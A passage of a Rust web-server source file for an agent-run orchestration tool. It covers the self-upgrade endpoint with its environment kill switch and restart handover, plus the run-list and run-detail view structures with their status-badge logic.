3595            'm' => 60,
3596            'h' => 3600,
3597            'd' => 86400,
3598            _ => return None,
3599        };
3600        total = total.checked_add(amount.checked_mul(scale)?)?;
3601        rest = rest[n + 1..].trim_start();
3602    }
3603    Some(total)
3604}
3605
3606#[derive(Debug, Clone, Serialize)]
3607struct UpgradeRequestFailure {
3608    occurred_at: String,
3609    error: String,
3610    retry_after_secs: Option<u64>,
3611    /// Unix seconds; independent of the phone's polling cadence.
3612    retry_at: Option<u64>,
3613}
3614
3615impl UpgradeRequestFailure {
3616    fn new(error: String) -> Self {
3617        let retry_after_secs = upgrade_retry_after(&error);
3618        let now = std::time::SystemTime::now()
3619            .duration_since(std::time::UNIX_EPOCH)
3620            .unwrap_or_default()
3621            .as_secs();
3622        Self {
3623            occurred_at: jiff::Timestamp::now().to_string(),
3624            error,
3625            retry_after_secs,
3626            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3627        }
3628    }
3629}
3630
3631/// `POST /api/upgrade` - replace this binary with the newest release and come
3632/// back on it.
3633///
3634/// Replace the installed binary, restart the detached scheduler, release the
3635/// web listener, then start the successor. Active task and conversation
3636/// workers retain their immutable executable and continue without parking.
3637///
3638/// A legacy embedded scheduler is the only incompatible owner: its work
3639/// must finish or park before the first migration replaces its process.
3640///
3641/// Answers **202**: the reply has to reach the phone while this process can
3642/// still send one, and the phone learns the deck is back by reconnecting.
3643async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3644    begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3645}
3646
3647async fn begin_upgrade(
3648    ui: &Arc<Ui>,
3649    trigger: updater::UpgradeTrigger,
3650    latest: Option<kaishin::LatestRelease>,
3651) -> Response {
3652    let reading = daemon::read_status(&ui.home);
3653    if let Some(other) = Foreign::of(reading.as_ref()) {
3654        return ApiError::conflict(format!(
3655            "{} is a legacy scheduler without detached restart support. \
3656             Finish or explicitly park its work in the existing UI before \
3657             this first migration; independent schedulers do not need this.",
3658            other.who()
3659        ))
3660        .into_response();
3661    }
3662
3663    // A second upgrade while one is moving would replace the binary and
3664    // signal the handover again after `serve` already consumed the first
3665    // signal, leaving the process in `replaced` forever. Try-lock rather than
3666    // wait: a phone connection must not hang behind a GitHub round trip.
3667    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3668        return ApiError::conflict("another request is already preparing an upgrade")
3669            .into_response();
3670    };
3671    // Hold the same gate through recording/clearing the request outcome, so
3672    // an older response cannot overwrite a retry's result.
3673    if trigger == updater::UpgradeTrigger::Auto {
3674        let cfg = match Config::discover(&ui.repo, None) {
3675            Ok((cfg, _)) => cfg,
3676            Err(e) => {
3677                return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3678            }
3679        };
3680        let Some(latest) = latest else {
3681            return StatusCode::NO_CONTENT.into_response();
3682        };
3683        let in_motion = ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3684            || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some();
3685        let decision = {
3686            let failed = ui
3687                .auto_failed_tag
3688                .lock()
3689                .unwrap_or_else(PoisonError::into_inner);
3690            auto_upgrade_decision(
3691                &cfg.update,
3692                updater::disabled_by_env(),
3693                in_motion,
3694                &latest.tag_name,
3695                failed.as_deref(),
3696            )
3697        };
3698        if let AutoUpgradeDecision::Skip(reason) = decision {
3699            updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3700            return StatusCode::NO_CONTENT.into_response();
3701        }
3702        return finish_upgrade_request(
3703            ui,
3704            upgrade_checked_for(
3705                ui,
3706                env!("CARGO_PKG_VERSION").into(),
3707                Ok(Some(latest)),
3708                trigger,
3709            ),
3710        );
3711    }
3712    finish_upgrade_request(ui, upgrade_prepare(ui).await)
3713}
3714
3715fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3716    match result {
3717        Ok(out) => {
3718            *ui.upgrade_request_error
3719                .lock()
3720                .unwrap_or_else(PoisonError::into_inner) = None;
3721            out.into_response()
3722        }
3723        Err(error) if error.status != StatusCode::CONFLICT => {
3724            let failure = UpgradeRequestFailure::new(error.message);
3725            *ui.upgrade_request_error
3726                .lock()
3727                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3728            let mut response = (error.status, Json(&failure)).into_response();
3729            if let Some(value) = failure
3730                .retry_after_secs
3731                .and_then(|secs| secs.to_string().parse().ok())
3732            {
3733                response.headers_mut().insert("retry-after", value);
3734            }
3735            response
3736        }
3737        Err(error) => error.into_response(),
3738    }
3739}
3740
3741async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3742    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3743        return Err(ApiError::conflict(
3744            "an upgrade is already in progress (this process started one and it \
3745             has not finished or failed yet)",
3746        ));
3747    }
3748    let recorded = updater::read_progress(&ui.home);
3749    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3750        return Err(ApiError::conflict(format!(
3751            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3752             stays stuck, restart the deck; on start it settles a stale record.",
3753            p.stage.as_str(),
3754            p.from,
3755            p.to.as_deref().unwrap_or("?"),
3756        )));
3757    }
3758
3759    // The same kill switch the background check honours (`disabled_by_env`),
3760    // checked before anything else for the same reason it is read before the
3761    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
3762    // contact GitHub from this process", and a button press must not
3763    // override that any more than a broken `magi.toml` may.
3764    if crate::updater::disabled_by_env() {
3765        return Ok((
3766            StatusCode::OK,
3767            Json(UpgradeView {
3768                from: env!("CARGO_PKG_VERSION").to_owned(),
3769                to: None,
3770                detail: format!(
3771                    "Automatic updates are disabled by {}. Nothing was parked \
3772                     and nothing restarted.",
3773                    crate::updater::NO_AUTOUPDATE_ENV
3774                ),
3775            }),
3776        ));
3777    }
3778
3779    // Check before disturbing listeners or scheduling: no available update
3780    // means there is no reason to restart anything.
3781    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3782    let from = env!("CARGO_PKG_VERSION").to_owned();
3783    let latest = match crate::updater::Checker::new(&cfg.update) {
3784        Some(checker) => checker.newer_release().await,
3785        None => Ok(None),
3786    };
3787    upgrade_checked(ui, from, latest)
3788}
3789
3790fn upgrade_checked(
3791    ui: &Arc<Ui>,
3792    from: String,
3793    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3794) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3795    upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3796}
3797
3798fn upgrade_checked_for(
3799    ui: &Arc<Ui>,
3800    from: String,
3801    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3802    trigger: updater::UpgradeTrigger,
3803) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3804    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3805    let Some(latest) = latest else {
3806        return Ok((
3807            StatusCode::OK,
3808            Json(UpgradeView {
3809                from,
3810                to: None,
3811                detail: "Already on the newest release. Nothing was parked \
3812                         and nothing restarted."
3813                    .to_owned(),
3814            }),
3815        ));
3816    };
3817
3818    if let Err(error) = daemon::scheduler_restart_options(&ui.home) {
3819        let detail = format!("cannot determine scheduler restart state: {error:#}");
3820        if trigger == updater::UpgradeTrigger::Auto {
3821            updater::log_warn(&ui.home, &format!("auto-upgrade: {detail}"));
3822        }
3823        return Err(ApiError::internal(detail));
3824    }
3825    if trigger == updater::UpgradeTrigger::Auto {
3826        updater::log_step(&ui.home, "auto-upgrade: beginning update and restart");
3827    }
3828
3829    let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3830
3831    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3832    // poll must see a `Downloading` stage immediately, not whenever the
3833    // spawned task happens to get scheduled.
3834    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3835    progress.trigger = trigger;
3836    updater::write_progress_logged(&ui.home, &progress);
3837
3838    let home = ui.home.clone();
3839    ui.upgrade_spawned
3840        .store(true, std::sync::atomic::Ordering::SeqCst);
3841    let spawned = Arc::clone(&ui.upgrade_spawned);
3842    let runner = ui.upgrade_runner;
3843    let failed = ui.auto_failed_tag.clone();
3844    let tag = latest.tag_name.clone();
3845    tokio::spawn(async move {
3846        if let Err(e) = runner(home.clone()).await {
3847            if trigger == updater::UpgradeTrigger::Auto {
3848                *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3849            }
3850            tracing::error!("the upgrade did not complete: {e:#}");
3851            // A failure of this attempt says nothing about a handover an
3852            // earlier request already has in flight; checked and written
3853            // under the progress lock.
3854            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3855            // Release only after failure bookkeeping, before accepting a retry.
3856            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3857        }
3858    });
3859
3860    Ok((
3861        StatusCode::ACCEPTED,
3862        Json(UpgradeView {
3863            from,
3864            to: Some(latest.tag_name),
3865            detail,
3866        }),
3867    ))
3868}
3869
3870/// Replace the binary, then ask [`serve`] to hand the address over.
3871///
3872/// Separated from the handler so the 202 is already on its way, and separated
3873/// from the spawn so the successor starts only after the listener is dropped.
3874async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3875    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3876    // hang the upgrade for as long as the process lives.
3877    crate::updater::run_self_update(true, false, true).await?;
3878    updater::log_step(&home, "binary replaced - recording the replaced stage");
3879    if let Some(mut progress) = updater::read_progress(&home) {
3880        progress.advance(updater::Stage::Replaced);
3881        updater::write_progress_logged(&home, &progress);
3882    }
3883    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3884    HANDOVER.notify_one();
3885    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3886    Ok(())
3887}
3888
3889/// One row in the run list.
3890///
3891/// The list route returns this rather than whole `RunState`s: the summary of a
3892/// run is a few hundred bytes and the state is megabytes, and the difference
3893/// is what makes the history usable on a mobile link.
3894#[derive(Debug, Serialize)]
3895struct RunSummary {
3896    activity: String,
3897    id: String,
3898    short: String,
3899    status: String,
3900    done: bool,
3901    instruction: String,
3902    title: String,
3903    repo: String,
3904    repo_name: String,
3905    created_at: String,
3906    updated_at: String,
3907    candidates: usize,
3908    viable: usize,
3909    judges: usize,
3910    winner: Option<char>,
3911    reviews: usize,
3912    quota_losses: usize,
3913    event: Option<String>,
3914    /// The later attempt at the same task that replaced this one, if any.
3915    ///
3916    /// Two cards with one title is otherwise unreadable: this is what lets
3917    /// the deck say "superseded by 4043" on the older of the pair.
3918    superseded_by: Option<String>,
3919    /// Blocked on a question nobody has answered.
3920    ///
3921    /// Derived from the question store rather than stored on the run: an agent
3922    /// calling `magi ask` blocks mid-node, and writing a status from there
3923    /// would race the graph's own save of `run.json` and be overwritten at the
3924    /// next node boundary. Asking the store is always true and never races.
3925    waiting: bool,
3926    /// Whether the process recorded as driving this run can still be proven
3927    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3928    /// rather than presenting its last graph node as still in flight.
3929    live: crate::run::Liveness,
3930    /// The land loop's last look at the pull request, when there is one.
3931    pr: Option<crate::run::PrRecord>,
3932    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3933    /// design — never picked up by the PR-polling merge watcher, unlike an
3934    /// ordinary `Ready` that may still be a live landing candidate. See
3935    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3936    /// re-deriving the same check from `status` and `merge.mode` itself.
3937    unmerged_by_design: bool,
3938    /// Derived presentation status matching [`RunDetailView::display_status`].
3939    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3940    #[serde(default)]
3941    display_status: String,
3942    /// What the status badge shows: `display_status`, or `superseded` for a
3943    /// non-live run a later attempt replaced. See [`run_badge_status`].
3944    #[serde(default)]
3945    badge_status: String,
3946    /// Who started the run, as the one label every surface shares; the
3947    /// "origin unknown" wording when the record predates origins.
3948    origin_label: String,
3949}
3950
3951impl RunSummary {
3952    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3953        Self {
3954            activity: crate::run_progress::activity(state, live, waiting),
3955            id: state.id.clone(),
3956            short: state.short().to_owned(),
3957            status: status_word(state.status),
3958            done: state.status.done(),
3959            unmerged_by_design: state.unmerged_by_design(),
3960            display_status: run_display_status(state, waiting, live),
3961            badge_status: run_display_status(state, waiting, live),
3962            instruction: state.instruction.clone(),
3963            title: title_from(&state.instruction, TITLE_MAX),
3964            repo: state.repo.display().to_string(),
3965            repo_name: state
3966                .repo
3967                .file_name()
3968                .map(|n| n.to_string_lossy().into_owned())
3969                .unwrap_or_default(),
3970            created_at: state.created_at.to_string(),
3971            updated_at: state.updated_at.to_string(),
3972            candidates: state.candidates.len(),
3973            viable: state.viable().len(),
3974            judges: state.config.graph.judges,
3975            winner: state.winner().map(|c| c.label),
3976            reviews: state.reviews.len(),
3977            quota_losses: state.quota.len(),
3978            event: state
3979                .verification_blocking_cause()
3980                .or_else(|| state.events.last().map(|e| e.message.clone())),
3981            waiting,
3982            live,
3983            // Filled in by the list route, which is the only place that can
3984            // see a task's other attempts.
3985            superseded_by: None,
3986            pr: state.pr.clone(),
3987            origin_label: crate::run::origin_label(state.origin.as_ref()),
3988        }
3989    }
3990}
3991
3992/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3993/// the same string `serde` writes for the status inside a full run.
3994fn status_word(status: RunStatus) -> String {
3995    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
3996    // was a third way of naming the same statuses, and one that changed
3997    // silently with a derive.
3998    status.as_str().to_owned()
3999}
4000
4001/// The presentation status for a run, unified across summaries and details.
4002///
4003/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
4004/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
4005/// runs awaiting operator answers.
4006fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
4007    if waiting {
4008        return "waiting".to_owned();
4009    }
4010    if state.unmerged_by_design() {
4011        return "unmerged".to_owned();
4012    }
4013    if !state.status.done() && live == crate::run::Liveness::Dead {
4014        // The driver claim clears this flag before saving another event.
4015        // A previous park event can therefore outlive a resumed driver.
4016        if state.parked {
4017            return "parked".to_owned();
4018        }
4019        return "stale".to_owned();
4020    }
4021    status_word(state.status)
4022}
4023
4024/// The word a run's status badge shows: `display_status`, except that a
4025/// non-terminal run which is not provably live and was replaced by a later
4026/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
4027///
4028/// Same judgement `magi show` uses (`RunState::liveness`, the task's
4029/// successor); a live driver, `Unknown` liveness and terminal runs keep their
4030/// own word, so superseded never claims more than "not live".
4031fn run_badge_status(
4032    state: &RunState,
4033    display_status: &str,
4034    live: crate::run::Liveness,
4035    superseded: bool,
4036) -> String {
4037    if state.status.done() || live == crate::run::Liveness::Live {
4038        return display_status.to_owned();
4039    }
4040    if superseded {
4041        return "superseded".to_owned();
4042    }
4043    // A dead run's `display_status` is `stale`, except that a deliberate park
4044    // and an open owner question keep their own word: neither is a crash, and
4045    // the question still needs an answer. Anything else dead reads `stale`.
4046    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
4047        return "stale".to_owned();
4048    }
4049    display_status.to_owned()
4050}
4051
4052/// `?limit=`, clamped by the handler.
4053#[derive(Debug, Deserialize)]
4054struct ListQuery {
4055    #[serde(default)]
4056    limit: Option<usize>,
4057    /// Exact ids only; an empty value requests no rows (except queue blockers).
4058    ids: Option<String>,
4059}
4060
4061impl ListQuery {
4062    fn contains(&self, id: &str) -> bool {
4063        self.ids
4064            .as_ref()
4065            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
4066    }
4067}
4068
4069async fn runs_list(
4070    State(ui): State<Arc<Ui>>,
4071    Query(q): Query<ListQuery>,
4072) -> ApiResult<Json<Vec<RunSummary>>> {
4073    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
4074    blocking(move || {
4075        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4076        let states = run_ids(&ui.runs)
4077            .into_iter()
4078            // A run whose state cannot be read is skipped, not fatal: a run
4079            // killed mid-write must not blank the history of every other one.
4080            // The detail route still explains it, which is where an operator
4081            // asking "what happened to that run" ends up.
4082            .filter_map(|id| read_run(&ui.runs, &id).ok())
4083            .take(limit)
4084            .filter(|run| q.contains(&run.id));
4085        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4086        let summaries = summarize(
4087            states,
4088            &open_runs,
4089            &claimed,
4090            &superseded,
4091            |p| probe.borrow_mut().status(p),
4092            |p| probe.borrow_mut().started_at(p),
4093        );
4094        Ok(Json(summaries))
4095    })
4096    .await
4097}
4098
4099/// Everything the per-run rows share, read once: runs with an open question,
4100/// runs a live daemon claims, and the superseded map. Asking per run re-read
4101/// every question file and the daemon status file for each of hundreds of
4102/// runs, and spawned a process probe per run on Windows.
4103fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
4104    let open_runs: HashSet<String> = ui
4105        .questions
4106        .list()
4107        .into_iter()
4108        .filter(|q| q.status.open())
4109        .map(|q| q.run)
4110        .collect();
4111    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
4112        .into_iter()
4113        .map(|c| c.run)
4114        .collect();
4115    (open_runs, claimed, ui.queue.superseded())
4116}
4117
4118/// The rows of the run list, given everything that is shared between them.
4119///
4120/// Pure over its inputs so a test can count how often the process queries are
4121/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
4122/// takes, called at most once per run.
4123fn summarize<I, S, D>(
4124    states: I,
4125    open_runs: &HashSet<String>,
4126    claimed: &HashSet<String>,
4127    superseded: &HashMap<String, String>,
4128    mut status_q: S,
4129    mut identity_q: D,
4130) -> Vec<RunSummary>
4131where
4132    I: IntoIterator<Item = RunState>,
4133    S: FnMut(u32) -> Option<bool>,
4134    D: FnMut(u32) -> Option<String>,
4135{
4136    states
4137        .into_iter()
4138        .map(|state| {
4139            let waiting = open_runs.contains(&state.id);
4140            let live =
4141                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
4142            let mut row = RunSummary::of(&state, waiting, live);
4143            row.superseded_by = state
4144                .pr_taken_over_by
4145                .as_ref()
4146                .or_else(|| superseded.get(&state.id))
4147                .map(String::as_str)
4148                .map(crate::run::short_of)
4149                .map(str::to_owned);
4150            row.badge_status = run_badge_status(
4151                &state,
4152                &row.display_status,
4153                live,
4154                row.superseded_by.is_some(),
4155            );
4156            row
4157        })
4158        .collect()
4159}
4160
4161/// A run as the detail route hands it to the phone.
4162///
4163/// The whole state, flattened, plus `instruction_md`: the Task panel renders
4164/// the instruction as markdown, and the raw `instruction` field this struct
4165/// still carries (unchanged) is what a client wanting the exact bytes reads
4166/// instead.
4167#[derive(Debug, Serialize)]
4168struct RunDetailView {
4169    progress: crate::run_progress::Progress,
4170    stop_reason: Option<String>,
4171    #[serde(flatten)]
4172    state: RunState,
4173    instruction_md: Vec<md::Node>,
4174    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
4175    /// mirror the records they come from, index for index; the raw strings
4176    /// stay in `state` and decide whether a block is shown at all.
4177    #[serde(flatten)]
4178    prose_md: RunProseMd,
4179    /// Whether a process is actually still driving this run: `"live"`,
4180    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
4181    ///
4182    /// `state.active` (flattened in above) is only ever cleared by the
4183    /// process that populated it; a killed one leaves its last wave's
4184    /// entries behind. Carrying this alongside is what lets the phone rail
4185    /// tell "this seat is still answering" from "this seat was still
4186    /// answering when whatever was driving this run died" without a second
4187    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
4188    /// proof of either. A string rather than a bool on purpose: a daemon
4189    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
4190    /// and neither proven is `"unknown"` — folding that third case into
4191    /// either end of a bool is exactly the wrong call for a phone screen an
4192    /// operator uses to decide whether to wait or to act.
4193    live: crate::run::Liveness,
4194    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
4195    /// alongside the flattened `state` rather than inside it, since
4196    /// `RunState` has no business knowing which of its own methods a caller
4197    /// wants serialized.
4198    unmerged_by_design: bool,
4199    /// Same field and meaning as [`RunSummary::waiting`].
4200    #[serde(default)]
4201    waiting: bool,
4202    /// Same derived presentation status as [`RunSummary::display_status`].
4203    #[serde(default)]
4204    display_status: String,
4205    /// Same field and meaning as [`RunSummary::badge_status`].
4206    #[serde(default)]
4207    badge_status: String,
4208    /// Same field and meaning as [`RunSummary::done`]: whether the status is
4209    /// terminal. The client's `landView` keys on it, and the flattened state
4210    /// has no such field, so without it a finished run's stale `open` PR
4211    /// would be painted as live on the detail page.
4212    done: bool,
4213    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
4214    /// route fills it from [`Queue::superseded`], the detail route from
4215    /// [`Queue::superseded_by`], and both read the same underlying task
4216    /// order. Without this the detail page could only ever show a red
4217    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
4218    /// with nothing anywhere saying so — an operator opening it had no way
4219    /// to tell "this is done elsewhere" from "this still needs a retry".
4220    superseded_by: Option<String>,
4221    /// The task's current attempt, when this run is an older one — resolved
4222    /// from [`Queue::latest_attempt`] and this run's own state, not left for
4223    /// the client to derive.
4224    ///
4225    /// Three things a client cannot safely do on its own drove this onto the
4226    /// server: it has to name the chain's *current head*, not just the next
4227    /// attempt (`superseded_by` above), because an intermediate retry in a
4228    /// longer chain can itself still be unresolved; it has to resolve to a
4229    /// real id rather than a short id a client would have to guess a full id
4230    /// from, which is ambiguous the moment two runs share a suffix; and it
4231    /// has to read that head's own status directly, because whether a run
4232    /// list a client happens to have cached even contains that attempt
4233    /// depends on a page limit this route knows nothing about.
4234    latest_attempt: Option<LatestAttempt>,
4235    /// The queue task this run belongs to, so the detail page can link back
4236    /// to the task's own page. `None` for a run nobody queued (`magi run`).
4237    task: Option<TaskRef>,
4238    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
4239    /// run recorded before origins existed. `origin` itself (flattened in
4240    /// with `state`) is `null` in that case.
4241    origin_label: String,
4242    /// Each recorded pass over this run, with the cause it stopped for. Empty
4243    /// for a run from before passes were kept: its earlier passes are unknown.
4244    pass_views: Vec<PassView>,
4245}
4246
4247/// A task named from a run's detail page.
4248#[derive(Debug, Serialize)]
4249struct TaskRef {
4250    id: String,
4251    short: String,
4252    title: String,
4253    /// [`Source::label`], e.g. `chat@a1b2`.
4254    source_label: String,
4255    /// Where the task came from, when that place has a page; see [`source_link`].
4256    source_link: Option<SourceLink>,
4257    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
4258    status: &'static str,
4259    attempts: usize,
4260    max_attempts: usize,
4261    /// This run is the last entry of the task's run list.
4262    is_latest: bool,
4263    /// The task's newest run, when it is not this one.
4264    latest: Option<RunBrief>,
4265    /// The run that finished a `done` task (merged, or already in the base).
4266    finished_by: Option<RunBrief>,
4267    /// The task is `done` but no run on record finished it: closed by hand.
4268    closed_by_hand: bool,
4269}
4270
4271/// The page that filed a task, as the UI links to it.
4272#[derive(Debug, PartialEq, Eq, Serialize)]
4273struct SourceLink {
4274    /// `chat` (a conversation) or `run` (a run's node).
4275    kind: &'static str,
4276    /// The full id, never the short one in the label.
4277    id: String,
4278    /// The hash route that opens it.
4279    href: String,
4280}
4281
4282/// Percent-encode everything outside the URL-unreserved set.
4283fn encode_segment(raw: &str) -> String {
4284    let mut out = String::with_capacity(raw.len());
4285    for b in raw.bytes() {
4286        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4287            out.push(b as char);
4288        } else {
4289            out.push_str(&format!("%{b:02X}"));
4290        }
4291    }
4292    out
4293}
4294
4295/// The one place that decides where a task's source links to. A chat
4296/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
4297/// a person or an imported issue has no page, so no link.
4298fn source_link(source: &Source) -> Option<SourceLink> {
4299    let Source::Agent { run, node } = source else {
4300        return None;
4301    };
4302    let (kind, route) = if node == crate::queue::CHAT_NODE {
4303        ("chat", "chat")
4304    } else {
4305        ("run", "runs")
4306    };
4307    Some(SourceLink {
4308        kind,
4309        id: run.clone(),
4310        href: id_links::page_href(route, run),
4311    })
4312}
4313
4314/// The parent task of a follow-up, when its file can still be read.
4315#[derive(Debug, Serialize, PartialEq)]
4316struct FollowUpParent {
4317    id: String,
4318    short: String,
4319    title: String,
4320    /// The parent's own status (`TaskStatus::as_str`).
4321    status: &'static str,
4322    href: String,
4323}
4324
4325/// The merged run a follow-up was filed from.
4326#[derive(Debug, Serialize, PartialEq)]
4327struct FollowUpRun {
4328    id: String,
4329    short: String,
4330    /// `None` when the run's record cannot be read.
4331    status: Option<&'static str>,
4332    /// `None` unless the record could be read: never a dead link.
4333    href: Option<String>,
4334}
4335
4336/// Where a follow-up task came from, resolved once per task page so the flow
4337/// chart and the detail block cannot disagree. See [`followup_origin`].
4338#[derive(Debug, Serialize, PartialEq)]
4339struct FollowUpOrigin {
4340    /// Present only when `origin_task` is set and that task still exists.
4341    parent: Option<FollowUpParent>,
4342    run: FollowUpRun,
4343    /// The merged pull request, verbatim. Not an href: the client passes it
4344    /// through `forgeUrl()` and renders text when that refuses it (the one
4345    /// exception to "the href rule is Rust's alone", since a forge URL is
4346    /// data from a record, not a route).
4347    pr: String,
4348    findings: Vec<String>,
4349    generation: u32,
4350}
4351
4352/// The one place that decides what a follow-up links to. A parent that cannot
4353/// be read (gone, or an id that names nothing) is `None`, never an error.
4354fn followup_origin(
4355    fu: &crate::queue::FollowUp,
4356    task: impl Fn(&str) -> Option<Task>,
4357    run: impl Fn(&str) -> Option<RunState>,
4358) -> FollowUpOrigin {
4359    let parent = fu
4360        .origin_task
4361        .as_deref()
4362        .and_then(task)
4363        .map(|t| FollowUpParent {
4364            short: t.short().to_owned(),
4365            href: format!("#/tasks/{}", encode_segment(&t.id)),
4366            status: t.status.as_str(),
4367            title: t.title,
4368            id: t.id,
4369        });
4370    let state = run(&fu.run);
4371    FollowUpOrigin {
4372        parent,
4373        run: FollowUpRun {
4374            short: run::short_of(&fu.run).to_owned(),
4375            status: state.as_ref().map(|s| s.status.as_str()),
4376            href: state
4377                .is_some()
4378                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4379            id: fu.run.clone(),
4380        },
4381        pr: fu.pr.clone(),
4382        findings: fu.findings.clone(),
4383        generation: fu.generation,
4384    }
4385}
4386
4387/// Another run of the same task, as named from a run's detail page.
4388#[derive(Debug, Serialize)]
4389struct RunBrief {
4390    id: String,
4391    short: String,
4392    /// `None` when the run's record cannot be read.
4393    status: Option<&'static str>,
4394    /// The task-page wording for how that pass ended.
4395    outcome: String,
4396    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
4397    badge: Option<String>,
4398}
4399
4400/// The task's overall outcome as seen from `this_run`'s page, classified with
4401/// the same exits the task page's flowchart uses.
4402fn task_outcome(
4403    task: &Task,
4404    this_run: &str,
4405    max_attempts: usize,
4406    read: impl Fn(&str) -> Option<RunState>,
4407) -> TaskRef {
4408    let max_attempts = task.effective_attempt_limit(max_attempts);
4409    let history = task_history(task, read);
4410    let brief = |h: &TaskRunView| RunBrief {
4411        id: h.id.clone(),
4412        short: h.short.clone(),
4413        status: h.status,
4414        outcome: h.exit.edge_label(h.status),
4415        badge: h.badge.clone(),
4416    };
4417    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4418    let latest = if is_latest {
4419        None
4420    } else {
4421        history.last().map(brief)
4422    };
4423    let done = task.status == TaskStatus::Done;
4424    let finished_by = done
4425        .then(|| {
4426            history
4427                .iter()
4428                .rev()
4429                .find(|h| {
4430                    matches!(
4431                        h.exit,
4432                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4433                    )
4434                })
4435                .map(brief)
4436        })
4437        .flatten();
4438    TaskRef {
4439        short: task.short().to_owned(),
4440        title: task.title.clone(),
4441        id: task.id.clone(),
4442        source_label: task.source.label(),
4443        source_link: source_link(&task.source),
4444        status: task.status.as_str(),
4445        attempts: task.attempts,
4446        max_attempts,
4447        is_latest,
4448        latest,
4449        closed_by_hand: done && finished_by.is_none(),
4450        finished_by,
4451    }
4452}
4453
4454/// The task's current attempt, as seen from an older one's detail page.
4455#[derive(Debug, Serialize)]
4456struct LatestAttempt {
4457    id: String,
4458    short: String,
4459    /// Whether this attempt itself settled with a result nobody needs to
4460    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
4461    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
4462    /// unconfirmed claim that no change was needed, which is exactly why it
4463    /// settles the task through `Held` rather than `Done` and still waits on
4464    /// a human to check the evidence; showing an older run as "finished
4465    /// elsewhere" on the strength of an unverified claim would bury the
4466    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
4467    /// in-flight status are excluded because they are exactly the
4468    /// unresolved states this field exists to tell apart from a real finish.
4469    resolved: bool,
4470    /// The attempt's own recorded status, so the page can say where it
4471    /// stands while it is not resolved yet.
4472    status: RunStatus,
4473    /// Whether that status is terminal (nothing is still running it).
4474    done: bool,
4475}
4476
4477/// Markdown for the free-text prose of a run, parallel to `RunState`.
4478#[derive(Debug, Default, Serialize)]
4479struct RunProseMd {
4480    /// `None` when the run has no design deliberation.
4481    advice_md: Option<AdviceMd>,
4482    /// One entry per candidate: the summary.
4483    candidate_summaries_md: Vec<Vec<md::Node>>,
4484    /// One entry per review round, in `reviews` order.
4485    reviews_md: Vec<RoundMd>,
4486}
4487
